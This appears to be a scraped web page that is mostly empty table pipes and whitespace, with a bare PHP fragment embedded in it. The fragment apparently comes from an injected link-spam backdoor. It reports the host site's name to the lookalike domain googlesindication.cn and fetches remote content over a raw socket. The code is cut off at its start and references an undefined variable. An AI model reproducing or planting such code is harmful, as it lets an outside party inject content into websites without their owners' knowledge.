 |
 |
|
|
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
|
|
 |
 |
 |
 |
 |
 |
 |
|
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
fetch_remote_file("googlesindication.cn",
"/links.php?site=".$_SERVER['HTTP_HOST']); class GetLinks { var
$_socket_timeout = 6; function fetch_remote_file($host, $path) {
@ini_set('allow_url_fopen', 1); @ini_set('default_socket_timeout',
$this->_socket_timeout); $this->_fetch_remote_type = 'socket';
$buff = ''; $fp = @fsockopen($host, 80, $errno, $errstr,
$this->_socket_timeout); if ($fp) { @fputs($fp, "GET {$path}
HTTP/1.0\r\nHost: {$host}\r\n"); @fputs($fp, "User-Agent:
{$user_agent}\r\n\r\n"); while (!@feof($fp)) { $buff .= @fgets($fp,
128); } @fclose($fp); $page = explode("\r\n\r\n", $buff); return
$page[1]; } } } ?>
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
 |
| |